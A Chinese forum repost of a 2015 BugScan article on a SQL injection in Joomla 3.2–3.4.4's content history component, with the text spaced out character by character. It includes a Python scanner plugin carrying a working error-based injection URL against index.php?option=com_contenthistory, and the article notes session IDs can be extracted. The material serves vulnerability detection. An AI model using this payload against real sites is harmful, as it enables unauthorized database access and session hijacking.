搜索

[2398] 2015-10-26_插件｜joomla3.2－3.4.4history.phpsql注入

文档创建者：s7ckTeam
浏览次数：52
最后更新：2025-01-16
2015-10-26_插件｜joomla3.2－3.4.4history.phpsql注入 插 件 ｜ j o o m l a   3 . 2 －   3 . 4 . 4   h i s t o r y . p h p   s q l 注 入 B u g S c a n   E 安 全   2 0 1 5 - 1 0 - 2 6 j o o m l a 漏 洞 原 因 漏 洞 原 因 : 在 该 c m s 的 模 块 m o d e l s / h i s t o r y . p h p 中 的 g e t L i s t Q u e r y ( ) 函 数 没 有 对 参 数 进 行 过 滤 导 致 注 入 漏 洞 。 如 图 ： 可 以 通 过 注 入 从 数 据 库 里 返 回 s e s s i o n   I D 通 过 该 插 件 可 以 检 测 该 漏 洞 。 欢 迎   E 安 全 微 信 公 众 号 ： E A Q a p p 代 码 ： # ! / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - d e f   a s s i g n ( s e r v i c e ,   a r g ) : i f   s e r v i c e   = =   ' j o o m l a ' : r e t u r n   T r u e ,   a r g d e f   a u d i t ( a r g ) : p a y l o a d   =   ' i n d e x . p h p ? o p t i o n = c o m _ c o n t e n t h i s t o r y & v i e w = h i s t o r y & l i s t [ o r d e r i n g ] = & i t e m _ i d = 1 & t y p e _ i d = 1 & l i s t [ s e l e c t ] = ( s e l e c t   1   f r o m ( s e l e c t   c o u n t ( * ) , c o n c a t ( ( s e l e c t   0 x 6 2 7 5 6 7 7 3 6 3 6 1 6 E 7 7 6 B ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x ) a ) ' t a r g e t   =   a r g   +   p a y l o a d c o d e ,   h e a d ,   r e s ,   e r r c o d e ,   _   =   c u r l . c u r l 2 ( t a r g e t ) ; i f   c o d e = =   2 0 0   a n d   ' b u g s c a n w k '   i n   r e s : s e c u r i t y _ n o t e ( t a r g e t ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : f r o m   d u m m y   i m p o r t   * a u d i t ( a s s i g n ( ' j o o m l a ' , ' h t t p : / / w w w . e x a m p l e . c o m / ' ) [ 1 ] ) 插 件 详 情 请 点 击 “ 阅 读 原 文 阅 读 原 文 ”
希 望 了 解 更 多 可 访 问 b u g s c a n 官 方 社 区 圈 子 链 接 h t t p : / / q . b u g s c a n . n e t / 扫 描 平 台 链 接 h t t p s : / / w w w . b u g s c a n . n e t 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理